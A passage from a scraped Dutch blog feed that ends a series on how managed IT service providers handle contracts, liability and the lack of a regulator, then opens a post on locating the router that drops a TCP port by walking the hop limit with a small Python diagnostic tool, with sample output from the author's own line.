ontwierp het zo, en het werkt beter dan als ze het hadden gedaan.\nNeem dus aan dat de documentatieregel niet standhoudt. Documentatie is het eerste ding dat ongeschreven blijft en het laatste ding dat iemand controleert, en wat bij het vertrek arriveert zal een estate beschrijven die zonder het verder bewoog. Dat is het goede geval. Het slechte is een pakket dat er compleet uitziet en fout is: een diagram met een switch erop die twee jaar geleden naar de stort ging, een runbook voor een server die sindsdien herbouwd is, een credentialsblad vol accounts waar niemand als kan inloggen. Foute documentatie is erger dan geen, want je handelt erop. Geen stuurt je tenminste om te gaan kijken.\nPrijs het vertrek alsof niets het overleeft. Iemand loopt de racks, leest de configuratie van de live-apparatuur, exporteert de firewallregels en de DHCP-scopes en de zonebestanden, en schrijft op wat er werkelijk draait. Dat is weken werk, en in een vertrek is het weken die je onder opzegging besteedt, terwijl de enige mensen die de antwoorden kennen al verteld zijn dat ze klaar zijn. Doe het nu in plaats daarvan. Vraag om het pakket vandaag, neem dan één pagina ervan en controleer het tegen een live machine. Als het standhoudt, heb je iets geleerd het weten waard. Als het de bits niet waard is die gebruikt worden om het op te slaan, heb je dat ook geleerd, en je hebt het geleerd met een jaar om het recht te zetten in plaats van veertien dagen.\nDie meewerkregel is degene die werkelijk pijn zal doen, en het is degene die niemand prijst. Lees het terug als een verzoek: een bedrijf dat zojuist het account verloren heeft wordt gevraagd weken te besteden aan het uitleggen ervan aan de mensen die het van hen afnamen. Niemand hoeft te weigeren. Het account gaat naar de vertrekkersstapel, de engineer die je estate kende gaat op een klus die nog steeds betaalt, en je vragen landen bij wie er over is. Antwoorden komen terug in dagen in plaats van uren. De overdrachtscall wordt drie weken vooruit geboekt. De helft van wat je vraagt blijkt betaalbaar, en de ene persoon die het ding bouwde vertrok in maart. Niets ervan is sabotage. Het kost je allemaal precies wat sabotage zou kosten.\nJe vervanger draagt het, en dan draag je het weer. Hun eerste maand gaat op uitwerken wat ze geërfd hebben. Dat is ontdekking waar ze niets voor je voor te tonen hebben, dus ze prijzen het ofwel eerlijk en zien er duur uit tegen de verlenging van de zittende, ofwel ze slikken het en beginnen de klus al achterop. Je betaalt hoe dan ook. Koop dus de medewerking voordat je het nodig hebt. Zet het in het contract op de weg in in plaats van op de weg uit: een gedefinieerde overdrachtsperiode, een genoemde persoon die het doet, een dagtarief afgesproken terwijl ze nog je handtekening willen, en toegang die live blijft tot het inkomende bedrijf zegt dat het weg kan. Betaal voor een overlap en reken het goedkoop. En arriveer nooit bij de overstap met de vertrekkende provider die de enige sleutel houdt tot iets dat je bezit.\nHet papierwerk doet ook zijn deel. Opzegtermijnen gemeten in maanden in plaats van weken, auto-verlengingsdata die passeren terwijl je nog beslist, en een overdracht geprijsd als professional services tegen een dagtarief dat iemand zet nadat je al opgezegd hebt. Niets daarvan is ongebruikelijk, en niets ervan breekt enige regel.\nTest dus het vertrek terwijl de relatie in orde is en niemand van streek is. Vraag om het overdrachtspakket nu, schriftelijk, als een deliverable in plaats van een belofte. Vraag wie de registrant van je domeinen werkelijk is. Vraag of je licenties in je eigen tenancy zitten of onder hun partnerovereenkomst, en wat ze verplaatsen inhoudt. Een provider die de klus fatsoenlijk doet beantwoordt alle drie uit het hoofd, want een bedrijf dat vertrouwen heeft in zijn werk heeft geen reden om vertrekken moeilijk te maken.\nEn als de antwoorden vaag zijn, onthoud wat de volgende sectie zegt over bij wie je klaagt.\nEr Is Geen Toezichthouder Voor Het Verkopen Iets zou nu moeten knagen. Elk faalgeval in deze serie dat met een formele bevinding kwam is een beveiligingsfaalgeval. De ICO over Advanced. De ICO over Capita. CISA over het gereedschap. Over het verkopen — de shortlist, de korting, de enkele optie, de verlenging — is er niets. Niet één handhavingsactie tegen een Britse MSP.\nDat is niet omdat het verkopen schoon is. Het is omdat niemand de klus heeft ernaar te kijken.\nConsumentenrecht stopt bij je voordeur. De Consumer Rights Act 2015 beschermt consumenten, en een besloten vennootschap die een managed service koopt is er geen. De Digital Markets, Competition and Consumers Act 2024 gaf de CMA in april 2025 directe handhavingsbevoegdheden, recht gericht op agressieve verkooppraktijken, misleidende informatie en contractvoorwaarden die overduidelijk ongebalanceerd zijn. Het zijn consumentenbevoegdheden. Het eigen relaas van het eerste jaar van de CMA is het lezen waard voor de bewoording net zozeer als de getallen: veertien onderzoeken, twee schikkingen, £760.000 \u0026ldquo;refunded to consumers\u0026rdquo; — terugbetaald aan consumenten —, £4,7 miljoen aan boetes, 157 advies- en waarschuwingsbrieven. Consumenten, elke keer. Niet de dertig-persoons-fabrikant die afgelopen voorjaar vijf jaar managed service tekende.\nTelecom is de ene hoek waar een Britse toezichthouder ook maar in de buurt is geweest. Het toont hoe handhaving eruitziet wanneer iemand de opdracht houdt. In juli 2015 beboette Ofcom een kleine zakelijke telecomprovider met £200.000 voor het misverkopen van vastelijndiensten aan een basis van \u0026ldquo;around 100,000 small businesses\u0026rdquo; — ongeveer 100.000 kleine bedrijven —, en liet het de getroffen klanten compenseren en zijn verkoopmateriaal herschrijven. Juist gedrag, juiste grootte van klant, verkeerde industrie, en elf jaar geleden.\nEr is geen equivalent voor IT-diensten. Tel het op van waar je zit. Geen bedenktijd. Geen ombudsman om naar te escaleren. Geen toezichthouder met jurisdictie. Geen plicht op wie ook om je te vertellen wat de vendor hen betaalt. Geen gepubliceerde bevindingen om van te leren, want er is nergens voor een bevinding om vandaan te komen. Het contract werd opgesteld door de leverancier, en het enige rechtsmiddel erin is procederen — wat kosten, jaren en een juridisch budget betekent dat een klein bedrijf niet heeft, zoals de leverancier heel goed weet.\nFinancieel advies had precies dit probleem en pakte het aan. De fix was niet ingewikkeld — zeg wie de adviseur betaalt, en stop de productleverancier van het antwoord zijn.\nEr komt geen RDR voor IT. Niemand komt je MSP laten verklaren wat de vendor hen betaalt, en de Cyber Security and Resilience Bill die momenteel door het Parlement gaat, die managed service providers binnen de NIS Regulations zou trekken, gaat over detectie en melding in plaats van over wie voor het advies betaalt.\nDus wanneer iemand je vertelt dat er geen bewijs is van een probleem in hoe technologie in dit land verkocht wordt, hebben ze gelijk. Het betekent helemaal niets. Er is geen bewijs omdat er geen inspecteur is, geen klachtenroute die in een openbaar document eindigt, en geen register van wat er gebeurde met iedereen anders die hetzelfde contract tekende. In een markt die niemand toezicht houdt, is afwezigheid van bewijs gewoon afwezigheid van wie ook die kijkt.\nWat Het Zegt Over Het Vak Strip de facturen weg en kijk naar wie er werkelijk in deze regeling staat.\nAan het ene eind, bedrijven die dingen maken en doen. Een bedrijf dat onderdelen freest. Een garage. Een keuken die mensen voedt. Advocaten die iemand op een vrijdag in een huis verhuizen. Elk ervan produceert iets waar je naar kunt wijzen, en elk ervan draagt het risico in deze post, want ze zijn de enige partij in de keten die niets kan afwijzen.\nAan het andere eind, verscheidene lagen die helemaal niets produceren. Een vendor wiens licentie geschiktheid voor enig bepaald doel afwijst. Een distributeur die een doos tussen magazijnen verplaatst en een schijfje neemt. Een partnerprogramma dat iemand betaalt om de ene badge boven de andere te verkiezen. Een provider die uren verkoopt tegen een gecapte aansprakelijkheid. Elk neemt zijn marge en geeft het gevolg naar beneden door, en het gevolg blijft reizen tot het de enige persoon bereikt die op maandag de deuren moet openen.\nEen vak is een groep mensen die weten hoe iets te doen, die betaald worden voor het weten ervan, en die achter staan wat ze zeggen omdat hun naam erop staat. Daartegen gehouden is het grootste deel van deze industrie een distributiekanaal met certificeringen.\nKijk naar wat er weggegeven is om daar te komen. Vaardigheid eerst, want je kunt geen derde snijden uit wat je aan training uitgeeft en nog steeds expertise verkopen met een strak gezicht. Dan oordeel, verkocht aan het begin van de opdracht en afgewezen op het moment dat het getest wordt. En als laatste de simpele bereidheid om te zeggen \u0026ldquo;dat is niet het juiste antwoord voor jou\u0026rdquo; wanneer het juiste antwoord minder betaalt — wat het enige is dat advies van verkopen scheidt, en niets kost dan lef.\nDe uitweg eruit is onglamoureus en volledig beschikbaar. Bezit de apparatuur die je kunt bezitten. Houd je eigen sleutels. Houd de documentatie ergens waar je bij kunt zonder iemand te bellen. Leer genoeg over je eigen systemen om te weten wanneer je iets doms verteld wordt — niet om ze zelf te draaien, gewoon om een bijvoeglijk naamwoord te herkennen dat arriveert waar een getal gevraagd werd. Dat is geen nostalgie naar iedereen die een server in een kast heeft. Het is de enige hefboom die geboden wordt, en het is goedkoop.\nEr zijn mensen in dit vak die nooit ophielden de klus fatsoenlijk te doen, en ze zijn niet moeilijk te spotten zodra je weet waar op te letten. Ze offreren de saaie optie. Ze vertellen je wat een ding kost in plaats van wat het geprijsd is. Ze zetten het risico op schrift voordat je vraagt, en ze zijn opgelucht wanneer iemand eindelijk controleert.\nDe rest hebben de zaken zo geregeld dat niemand dat ooit doet. Je mag vragen wat het kost, wie wie betaalt, en wat er gebeurt wanneer het breekt. Niemand in deze regeling gaat het vrijwillig geven, en dat is niet hetzelfde als dat je het niet verschuldigd bent.\nIs Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen? Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereiken Wanneer Het Breekt, Wie Draagt Het Werkelijk?you are here Bronnen Opgehaald 28 augustus 2026.\nWet en beleid.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — House of Commons Library-briefing over het binnen de NIS Regulations brengen van managed service providers. Wie mag klagen.\nConsumer Rights Act 2015 en de Digital Markets, Competition and Consumers Act 2024 — de beschermingen, en voor wie ze zijn. CMA, direct consumer enforcement one year on — april 2025 tot april 2026: 14 onderzoeken, GBP 760.000 terugbetaald aan consumenten, GBP 4,7 miljoen aan boetes. Ofcom beboet Unicom, 31 juli 2015 — GBP 200.000 voor misverkopen aan kleine bedrijven, het dichtstbijzijnde bij een handhavingsprecedent, in telecom in plaats van IT. ","permalink":"https://blogs.damiendye.uk/nl/random/is-your-msp-lying-to-you-part3/","summary":"Deel 3 van 3. Responstijden in plaats van uitkomsten, een aansprakelijkheidslimiet gezet op de vergoedingen die je al betaalde, en een provider wiens excuses uiteindelijk bij jou aankomen. De vragen die het boven water halen, wat een echte in plaats daarvan doet, en wat er nodig is om een slechte kwijt te raken.","title":"Wanneer Het Breekt, Wie Draagt Het Werkelijk?"},{"content":"Een verbinding die een time-out geeft vertelt je vrijwel niets. Aan de overkant kan niets luisteren, een firewall drie hops weg kan je SYN in stilte weggooien zonder ook maar een logregel te maken, of de route bestaat simpelweg niet — en van waar jij zit ziet elk van die dingen er hetzelfde uit. Je wacht. Er gebeurt niets.\nDus wordt het ticket geschreven als “poort 445 wordt ergens geblokkeerd”, en “ergens” is wat het laat stuiteren. Je provider kijkt zijn rand na, vindt hem schoon, en geeft het terug. Jij kijkt je hostfirewall na, vindt hem schoon, en geeft het terug. Er gaat een week voorbij. Er is niets opgelost.\nHet woord dat de schade doet is “ergens”. Het hoeft er niet te zijn. Elke router tussen jou en de bestemming is verplicht je te vertellen wanneer hij degene is, en die verplichting staat sinds 1995 in de standaarden geschreven. Je hoeft het alleen op de juiste manier te vragen.\nWaarom dit uitgespeld moet worden Omdat te veel mensen in deze branche de basis niet kunnen, en het hun werkgevers elke week echt geld kost.\nIk bedoel geen junioren. Ik bedoel mensen met jaren achter zich, certificeringen aan de muur en senior in de functietitel, wiens diagnose van een poort met een time-out ophoudt bij “hij is geblokkeerd” en niet verder gaat. Ze draaien ping. Die faalt, of hij werkt, en hoe dan ook hebben ze niets geleerd over de poort waarnaar ze werden gevraagd. Dan gaat het ticket naar de provider, de provider stuurt het terug, en veertien dagen van iemands salaris gaan in een draadje dat één commando had kunnen zijn.\nNiets hiervan is moeilijk. Een drop van een reject onderscheiden, de TTL op een antwoord lezen, weten dat een sterretje in een traceroute op zichzelf niets betekent — dat is een middag om te leren en het houdt een loopbaan lang stand. De reden dat mensen het niet weten is niet dat ze dom zijn. Het is dat niemand het leert. Leverancierstraining leert je de console van een leverancier. Certificeringen leren je het examen. De grondbeginselen eronder worden vanaf dag één aangenomen en nooit echt behandeld, dus mensen komen in seniorrollen zonder dat het ze ooit is getoond, en dan is het gênant om te vragen.\nDus in plaats van erover te klagen, staat het hier opgeschreven. Dit is de basis, uitgespeld, met de commando\u0026rsquo;s en een script dat je vandaag kunt draaien.\nEn een woord over waarom ik de moeite nam: ik draaide dit tegen mijn eigen lijn terwijl ik het schreef en vond drie storingen waarvan ik niet wist dat ik ze had. Een SMB-drop elf hops ver. Vervalste SMTP-resets één hop weg. Een firewallregel die op IPv4 bestaat en op IPv6 niet. Een middag, geen root, op een lijn die ik zelf beheer en waar ik op let. Denk eens na over wat er onopgemerkt zit op de netwerken die iemand betaald wordt te draaien.\nWaarom de Fisher-Price OS (Windows) hier niet in staat Twee redenen dat het er niet in staat. Een ervan is technisch en een niet, en ik geef je liever beide dan te doen alsof het allemaal techniek is.\nDe technische is dat het dit niet kan. tracert stuurt ICMP-echo-verzoeken en verder niets — de eigen naslag van Microsoft beschrijft het als “sending Internet Control Message Protocol (ICMP) echo Request or ICMPv6 messages to the destination with incrementally increasing time to live (TTL) field values”, en er is nergens in de syntaxis een poortparameter. pathping is datzelfde gereedschap met statistiek erop geschroefd. Test-NetConnection vertelt je of een TCP-poort open of dicht is en helemaal niets over hoe ver het antwoord vandaan kwam. Geen ervan kan de poort waar je echt om geeft op een gekozen afstand aftasten, en dat is de hele methode in dit bericht.\nJe kunt er ook niet omheen scripten. De TTL op een socket zetten is makkelijk genoeg in .NET, maar de ICMP-fout teruglezen is de moeilijke helft, en er is geen equivalent van de truc waar dit bericht op leunt — geen manier om de kernel de fout te laten melden op de gewone socket die hem veroorzaakte. Dat laat een ruwe socket, en de eigen documentatie van Microsoft zegt “only members of the Administrators group can create sockets of type SOCK_RAW”. De weg zonder rechten bestaat dus niet en de weg met rechten wil een lokaal-admintoken. Je zit bij downloads van derden voordat je bent begonnen.\nDe andere reden is dat het me niet kan schelen, en dat zeg ik liever dan het op te tuigen. De naam is ook geen goedkope steek, het is een beschrijving. Het is het besturingssysteem dat je in de handen krijgt gedrukt als je nooit een ander hebt gehad, het verbergt de machine voor je als ontwerpdoel in plaats van als ongeluk, en op het moment dat je het netwerk een precieze vraag wilt stellen blijkt het gereedschap nooit gebouwd — want de mensen voor wie het is gebouwd werden nooit geacht te vragen. Dertig jaar later en tracert kan nog steeds geen pakket op een poort richten.\nHet is geen echt besturingssysteem voor echte IT-mensen, en is het het enige dat je ooit hebt gebruikt, dan doe je dit werk niet op het niveau waarvoor dit bericht is geschreven. Ik ben me ervan bewust dat dat slecht valt. Ik schrijf niet om aardig gevonden te worden, ik schrijf op wat ik meet voor mensen die dingen meten, en het kan me weinig schelen dat iemand die alleen dat ooit heeft gedraaid het liever anders verwoord ziet.\nDe gereedschapslijst is het argument, niet de mening. Elke Unix in de tabel verderop laat je een hoplimiet zetten en een protocol kiezen, vier ervan met één commando, en Linux doet de hele meting zonder ook maar sudo. Dat is niet omdat ze moeilijker te gebruiken zijn. Het is omdat ze zijn gebouwd door mensen die verwachtten dat wie achter het toetsenbord zat dingen wilde weten. Een besturingssysteem waarvan de diagnose ophoudt bij ping heeft je onomwonden verteld wat het denkt van de persoon die het gebruikt, en dertig jaar mensen die dat aanvaarden is hoe we belandden bij een branche die een weggegooid pakket niet kan lokaliseren.\nIk draai het dus niet, ik heb het in geen jaren serieus gedraaid, en ik ga het geen eigen sectie schrijven om even ruimhartig te lijken over een gat dat echt is. Alles waar ik op bouw en alles wat het meten waard is, is Unix, en daar woont dit bericht.\nDraait de kapotte bak toevallig de Fisher-Price OS (Windows), dan verandert dat niets aan de methode. Krijg een shell op iets anders — een Linux-VM, een Mac, een Raspberry Pi op dezelfde switch — en loop de hoplimiet er naartoe. De meting kan het geen zier schelen wat de overkant draait. Het geeft alleen om wat ertussen zit.\nTTL is een hopbudget, en elke router is je een bon verschuldigd De IPv4-header heeft een Time to Live-veld van 8 bits. De naam is een overblijfsel: het was in seconden gespecificeerd, en niets heeft het al decennia als seconden behandeld. RFC 1812 beslechtte de discussie in 1995 en maakte de hopteltelezing normatief:\nEach router (or other module) that handles a packet MUST decrement the TTL by at least one, even if the elapsed time was much less than a second. Since this is very often the case, the TTL is effectively a hop count limit on how far a datagram can propagate through the Internet.\nDan het deel dat hier telt, uit dezelfde sectie:\nIf the TTL is reduced to zero (or less), the packet MUST be discarded, and if the destination is not a multicast address the router MUST send an ICMP Time Exceeded message, Code 0 (TTL Exceeded in Transit) message to the source.\nDat is een MUST. Geen beleefdheid, geen suggestie. RFC 792 uit 1981 zei alleen dat een gateway “may also notify the source host”; dertien jaar later werd de eis aangescherpt, en RFC 1812 zegt waarom met zoveel woorden:\nICMP Time Exceeded messages are required because the traceroute diagnostic tool depends on them.\nIPv6 liet de schijn varen en hernoemde het veld. RFC 8200 noemt het Hop Limit — “8-bit unsigned integer. Decremented by 1 by each node that forwards the packet” — en het verloopbericht werd ICMPv6 type 3, code 0, “hop limit exceeded in transit”.\nLees dat als een instrument in plaats van een regel en het zegt iets nuttigs. Elke router op het pad is een baken dat je op afstand kunt aanspreken. Zet de hoplimiet op 4 en de vierde router maakt zich bekend. Je hoeft de topologie niet te kennen, je hoeft geen toegang tot iets te hebben, en je hebt de medewerking van de operator niet nodig. Je hebt één pakket per hop nodig.\nTraceroute doet precies dit sinds de late jaren tachtig. Wat het slecht doet is juist het ding waar je om geeft, want standaard tast het UDP-poorten hoog in het bereik van 33434 af, wat een poort is die niemand filtert en niemand bedient, dus het vertelt je over een pad dat niets echts ooit gebruikt. Een schone traceroute naar een host die je niet op TCP/445 kunt bereiken bewijst alleen dat UDP/33434 er komt. Wat nooit de vraag was.\nTast dus de poort af waar je om geeft.\nLees wat er terugkwam, niet of er iets terugkwam Voordat je hops telt, kijk naar wat de overkant doet als je hem met een normale hoplimiet bereikt. Er zijn vijf verschillende antwoorden en mensen persen ze routineus samen tot één.\nWat er terugkomt Wat het betekent Wie het stuurde SYN-ACK, de verbinding opent de poort is open de host, of iets dat voor hem antwoordt TCP RST actief geweigerd de host zonder iets dat luistert, of een apparaat dat is ingesteld om te weigeren ICMP 3/13, communication administratively prohibited een apparaat weigert op beleid en zegt het dat apparaat — zijn bronadres is je antwoord ICMP 3/1, 3/2, 3/3 host, protocol of poort unreachable de laatste router, of de host helemaal niets iemand gooit in stilte weg onbekend, dus ga het meten De derde rij is degene waar je je gewoonten voor mag veranderen. Is een firewall ingesteld om te weigeren in plaats van weg te gooien, dan zet hij zijn eigen adres in het bronveld van de ICMP en geeft je de dader gratis. Op Linux is dat wat nft ... reject with icmpx admin-prohibited oplevert, en wat iptables -j REJECT --reject-with icmp-admin-prohibited altijd heeft opgeleverd. De meeste gereedschappen gooien het weg en printen “filtered”. nmap --reason laat het zien. Het script verderop ook.\nRij twee en vijf zijn de interessante storing. Een stille drop is een beleidsbeslissing om je niets te vertellen, en omdat het de standaard is op vrijwel elke commerciële firewall is het degene die je echt zult tegenkomen. Verwacht stilte.\nRij twee verdient ook wantrouwen. Een reset is geen bewijs dat de host hem stuurde, en ik kom daarop terug met een levend voorbeeld, want ik vond er een op mijn eigen lijn terwijl ik dit schreef.\nLoop de poort af waar je om geeft, twee keer De methode is twee runs en een diff. Dat is het hele eieren eten.\nLoop de hoplimiet op van 1 tot 20 met precies het protocol en de poort die falen, en schrijf op welke router bij elke hop antwoordt. Doe hetzelfde met iets dat werkt — idealiter dezelfde host en een poort die opent. De hop waar de antwoorden stoppen in run een, en doorgaan in run twee, is het apparaat dat je wegkaatst. Run twee geeft je zijn adres. Waarom de antwoorden stoppen in plaats van veranderen: een router past zijn inkomende toegangslijst toe voordat hij iets anders met het pakket doet, dus zegt het beleid drop, dan is het pakket weg voordat het doorstuurpad ooit naar de hoplimiet kijkt, wordt er geen Time Exceeded gemaakt, en zet het apparaat nooit zijn naam onder wat het deed. De stilte begint dan ook bij de schuldige hop, niet erna.\nIk schreef een klein gereedschap voor het lopen omdat geen van de eigen gereedschappen het draagbaar doet. Het zet IP_TTL (of IPV6_UNICAST_HOPS) op een gewone socket, verbindt, en leest de ICMP-fout terug. Op Linux meldt IP_RECVERR die fout op precies de socket die hem uitlokte, wat betekent dat het hele ding zonder rechten draait — geen root, geen ruwe sockets, geen capabilities. Op macOS, de BSD\u0026rsquo;s en Solaris geeft de kernel je de ICMP niet zo, dus valt het terug op een ruwe socket en heeft het root nodig.\n\u0026#8615; hopfind.py — de TTL-loper hopfind.py · 11 kB Het is 279 regels standaardbibliotheek en verder niets, en het geheel staat aan het eind van dit bericht afgedrukt als je het liever leest dan downloadt.\npython3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 Gebruik voor beide runs hetzelfde protocol. Een TCP-spoor tegen een ICMP-spoor vergelijken is twee paden vergelijken, want lastverdeling hasht op de vijftupel en ICMP heeft geen poorten om op te hashen. Dezelfde host, hetzelfde protocol, een andere poort is de eerlijke vergelijking.\nAlles hieronder is echte uitvoer van mijn eigen lijn op 28 augustus 2026, gedraaid als gebruiker zonder rechten op Fedora. Elk adres erin is herschreven naar de documentatiebereiken — RFC 5737 voor IPv4, RFC 3849 voor IPv6, met ook de ene interface-identifier gewijzigd. Dus 198.51.100.x is mijn eigen router en mijn ISP, 203.0.113.x is transit en peering, 192.0.2.x is het netwerk aan de overkant, en 2001:db8::/32 is het hele IPv6-pad. De structuur is overal behouden: dezelfde prefixgrenzen, dezelfde vormen van het hostdeel, hetzelfde aantal verschillende netwerken. De hopnummers, de tijden, de ICMP-types en welke hop stilviel zijn precies zoals gemeten.\nEén host, drie poorten, drie verschillende storingen Overal dezelfde bestemming: een host op het publieke internet, veertien hops ver, met 443 open. Eerst de referentierun.\n$ python3 hopfind.py 192.0.2.4 443 --max 15 walking to 192.0.2.4 TCP/443 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 28.8 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.3 ms ICMP 11/0 time exceeded in-transit 5 * 6 203.0.113.240 16.5 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 16.5 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.5 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.6 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 16.1 ms ICMP 11/0 time exceeded in-transit 11 192.0.2.31 26.6 ms ICMP 11/0 time exceeded in-transit 12 * 13 * 14 192.0.2.4 19.5 ms connected Verdict: TCP/443 is open. It answered at hop 14. Let op hop 3, 5, 12 en 13. Vier routers op een pad dat duidelijk werkt zeiden niets, want genoeg apparatuur is ingesteld om geen ICMP voor zichzelf te maken, of begrenst het hard. Een sterretje is geen bewijs van een firewall. Neem dat mee als niets anders. Het signaal is nooit de aanwezigheid van sterretjes in één run; het is waar twee runs ophouden overeen te stemmen.\nNu dezelfde host op 445, die van hier een time-out geeft.\n$ python3 hopfind.py 192.0.2.4 445 --max 15 walking to 192.0.2.4 TCP/445 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 8.0 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.4 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.76 5.6 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.240 15.9 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 15.8 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.6 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.9 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 15.0 ms ICMP 11/0 time exceeded in-transit 11 * 12 * 13 * 14 * 15 * Verdict: answers stop after hop 10 (203.0.113.125). Whatever swallows TCP/445 is hop 11. Walk a port that works and read off the address at hop 11. Hop 11 beantwoordde de 443-run in 26,6 ms en zei helemaal niets tegen de 445-run. Dezelfde bak, hetzelfde pad, dezelfde tien routers ervoor. Kruisverwijs de run die werkt en hop 11 heeft een naam: 192.0.2.31. Dat is het apparaat dat SMB weggooit, drie hops voor de bestemming en acht hops voorbij de rand van mijn provider. Niet de mijne, en niet die van mijn ISP.\nHop 5 maakt het punt over sterretjes van de andere kant. Het was een sterretje op de 443-run en antwoordde op de 445-run — precies andersom dan de storing. Dat kan ICMP-ratelimiet zijn, of het kunnen de twee runs zijn die verschillende paden door een lastverdeler nemen. Ik weet niet welke, en jij ook niet. Herhaal beide runs voordat je een van beide gelooft.\nTwee hoplimietwandelingen naar dezelfde host, en de hop waar ze ophouden overeen te stemmen Twee wandelingen naar dezelfde host, en de hop waar ze ophouden overeen te stemmen Eén proef per hoplimiet. Een gearceerde cel betekent dat die router ICMP Time Exceeded terugstuurde en zichzelf noemde. router antwoordde er kwam niets terug vanaf hier stil 1 2 3 4 5 6 7 8 9 10 11 12 13 14 hoplimiet gezet op de proef TCP/443 referentie, hij opent \u0026#8226; \u0026#8226; * \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * \u0026#10003; opent TCP/445 getest, hij geeft een time-out \u0026#8226; \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * * * hop 11 antwoordde de ene wandeling en de andere niet Hop 3, 5, 12 en 13 zeiden niets op een pad dat duidelijk werkt, dus een sterretje op zichzelf betekent niks. Hop 11 antwoordde de referentiewandeling in 26,6\u0026#160;ms en antwoordde de testwandeling helemaal nooit. Dat is de grens, en de referentiewandeling is wat het een adres geeft:\u0026#160;192.0.2.31. Dezelfde twee runs, naast elkaar. De enige cel die ertoe doet is hop 11, en wat eraan telt is het meningsverschil: hij antwoordde de ene run en de andere niet. Dan poort 25. Deze hield me tegen.\n$ python3 hopfind.py 192.0.2.4 25 --max 15 walking to 192.0.2.4 TCP/25 hop limit 1-15 1 192.0.2.4 0.4 ms TCP reset Verdict: a reset came back to a probe with a hop limit of 1. Nothing more than one hop away can have sent it, so check the reply TTL before you believe the host did. Een hoplimiet van 1 betekent dat het pakket bij mijn eigen router stierf. Het ging één hop. Het kan geen veertien hebben gereisd. Toch kwam er in 0,4 ms een TCP-reset terug met het adres van de bestemming erop, en mijn kernel meldde plichtsgetrouw connection refused. Zonder de hoplimiet gezet zou ik dat hebben gelezen als “de overkant heeft geen mailserver” en het ticket hebben gesloten.\nIets één hop weg vervalst resets voor uitgaande SMTP en tekent ze met het adres van de bestemming. Uitgaande 25 blokkeren is een volstrekt gewoon ding voor een consumentenrouter of een ISP, en het doen met een reset in plaats van een drop is aantoonbaar de beleefde versie, maar de reset draagt het adres van iemand anders en ik had geen idee dat de mijne het deed. De hoplimiet is wat het ving, en niets anders in het antwoord zou het hebben gedaan.\nEén ernaast: waar de toegangslijst in de pijplijn zit Het oordeel hierboven zegt dat de wegwerper hop 11 is omdat de antwoorden na hop 10 stopten. Wees voorzichtig met die rekenkunde, want ze hangt af van de volgorde waarin het schuldige apparaat twee taken doet.\nDe meeste apparatuur past het inkomende beleid eerst toe en de hoplimietcontrole tweede. Deny slaat aan, het pakket wordt weggegooid, en er wordt nooit een Time Exceeded gemaakt, dus het apparaat verschijnt nooit en de stilte begint bij zijn eigen hopnummer. Dat is het geval hierboven. Het is ook het gewone geval.\nSommige platforms handelen het verlopen van de hoplimiet af in het snelle pad voordat het beleid wordt beoordeeld. Daar beantwoordt het apparaat de aan hem gerichte proef en gooit het alleen proeven weg die verder zijn gericht, dus verschijnt het normaal en begint de stilte één hop later.\nWaarom de schuldige hop meestal niet verschijnt: beleid wordt beoordeeld voor de hoplimietcontrole Binnen de hop die je wegkaatst bepaalt de volgorde van twee controles wat je ziet Je proef komt aan met één hop over op zijn budget, en hij past bij een regel die deny zegt. Beleid eerst \u0026#8212; vrijwel alle firewalls, en elk geval gemeten in dit bericht de router bij hop N proef erin inkomend beleid hoplimietcontrole doorsturen weggegooid voordat iets naar de hoplimiet kijkt Er wordt geen ICMP gemaakt, dus deze router zet nooit zijn naam onder de drop. Je wandeling valt stil\u0026#160;bij\u0026#160;hop\u0026#160;N. Verlopen eerst \u0026#8212; sommige platforms handelen het af in het snelle pad de router bij hop N proef erin hoplimietcontrole inkomend beleid doorsturen verlopen, dus ICMP 11/0 gaat terug met het adres van deze router Hij antwoordt voor zichzelf en slikt alleen proeven in die verder zijn gericht. Je wandeling valt stil vanaf hop\u0026#160;N+1. Waarom de hop die wegkaatst meestal onzichtbaar blijft. Op vrijwel alle firewalls wordt de deny eerst beoordeeld, dus de proef is weg voordat het doorstuurpad merkt dat de hoplimiet verliep en er wordt nooit ICMP gemaakt. Op apparatuur die het verlopen in het snelle pad afhandelt beantwoordt hetzelfde apparaat de aan hem gerichte proef en slikt alleen de proeven in die verder zijn gericht. De eerlijke lezing van “antwoorden stoppen na hop N” is dus: de wegwerper is hop N+1 als hij je proef weggooide voordat hij merkte dat het budget op was, of hop N zelf als hij de aan hem gerichte proef beantwoordde en alles inslikte wat verder was gericht. Twee naast elkaar liggende apparaten, en de run die werkt noemt ze allebei. Citeer de adressen, niet de hoptelling — een hoptelling betekent niets voor de persoon die je ticket leest, die vanaf ergens anders telt.\nDe TTL van het antwoord vertelt je wie er echt antwoordde De SMTP-reset hierboven werd gevangen door de hoplimiet die naar buiten ging. Er is een tweede, onafhankelijke controle beschikbaar in elk antwoord dat terug komt, en die kost niets.\nBegin-TTL-waarden zijn niet gestandaardiseerd, maar in de praktijk zijn er drie:\nBegint bij Typische verzender 64 Linux, macOS, de BSD\u0026rsquo;s, illumos, de meeste hosts 255 Cisco IOS, Junos, Solaris, het eigen verkeer van de meeste netwerkapparatuur 128 de Fisher-Price OS (Windows), die je nog steeds nodig hebt om 